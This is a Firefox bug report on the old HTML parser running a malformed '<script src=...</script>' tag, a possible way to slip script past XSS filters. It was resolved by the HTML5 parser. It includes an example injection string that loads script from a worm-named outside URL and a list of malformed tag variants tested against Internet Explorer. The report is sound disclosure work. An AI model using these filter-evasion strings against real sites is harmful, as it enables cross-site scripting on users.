Closed Bug 560927 Opened 15 years ago Closed 13 years ago

Possibility of script injection: FF incorrectly parses & interprets malformed <script> tag

Categories

(Core :: DOM: HTML Parser, defect)

x86_64
Linux
defect
Not set
normal

Tracking

()

RESOLVED FIXED
Tracking Status
firefox-esr10 --- unaffected
status1.9.2 --- wontfix

People

(Reporter: dtrebbien, Assigned: hsivonen)

References

Details

(Whiteboard: [sg:low] XSS filter evasion? [fixed by the HTML5 parser])

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre Build Identifier: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre ------------------------ test.html ------------------------ <!DOCTYPE html> <html> <body> <script src="test.js"</script> </body> </html> ---------------------- END test.html ---------------------- ------------------------- test.js ------------------------- window.alert("Uh oh"); ----------------------- END test.js ----------------------- The above is a test case for this issue. If `test.html` and `test.js` are placed into the same directory and `test.html` is opened, then Firefox will incorrectly load & run `test.js`. This bug still occurs if `test.html` and `test.js` are loaded via HTTP. This is potentially a problem for web sites that display user-supplied HTML. Many web sites will filter out HTML from user input that could cause script injection, but the filter may not remove text such as '<script src="http://5z8.info/inject_worm_f1k9a_facebook-hack"</script>' because it is not valid HTML. Part of the problem would be that non-HTML is not being escaped by the web site, but another part is Firefox's handling of the malformed HTML. Reproducible: Always Steps to Reproduce: 1. Create `test.html` and `test.js` in the same directory with the given contents. 2. Select "File" -> "Open File...". Browse to `test.html` and open it. Actual Results: An alert box pops up with the text "Uh oh", indicating that Firefox parsed the malformed text '<script src="test.js"</script>' as an HTML <script> tag and loaded & executed `test.js`. Expected Results: There should not be an alert box.
Component: General → DOM: Core & HTML
Product: Firefox → Core
QA Contact: general → general
The HTML5 parser changes the behavior here... Not sure how feasible that is with the old parser.
Status: UNCONFIRMED → NEW
Component: DOM: Core & HTML → HTML: Parser
Ever confirmed: true
QA Contact: general → parser
Do other browsers handle this markup differently? (Only for script tags, or for all tags? Does it depend on whether there's a space after the attribute?) This might be a dup of bug 226495.
Blocks: xss
Whiteboard: [sg:low] XSS filter evasion?
> Do other browsers handle this markup differently? For this specific markup in this bug, yes.
> Do other browsers handle this markup differently? Yes. Both Internet Explorer 6 SP3 and Internet Explorer 8 do not load & execute `test.js` for this specific markup. > Does it depend on whether there's a space after the attribute?) IE 6 SP3 does not execute `test.js` if there is a space after the attribute, as in: <script src="test.js" </script> It does not execute `test.js` for these, additional cases: <script src="test.js" <script src="test.js"> <script src="test.js"/> <script src="test.js" /> <script src="test.js"><script> <script src="test.js"<b>test</b> <script src="test.js"></ <script src="test.js"></> <script src="test.js"></ script <script src="test.js"></ script> IE 6 SP3 loads & executes `test.js` with (at least): <script src="test.js"></script> <script src="test.js"><script></script> <script src="test.js"<b>test</b></script> <script src="test.js"></script
Can you look into this Henri?
Assignee: nobody → hsivonen
This was fixed by the HTML5 parser landing. I think we should keep this bug marked security-sensitive until the 3.6 EOL.
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Whiteboard: [sg:low] XSS filter evasion? → [sg:low] XSS filter evasion? [fixed by the HTML5 parser]
Group: core-security
You need to log in before you can comment on or make changes to this bug.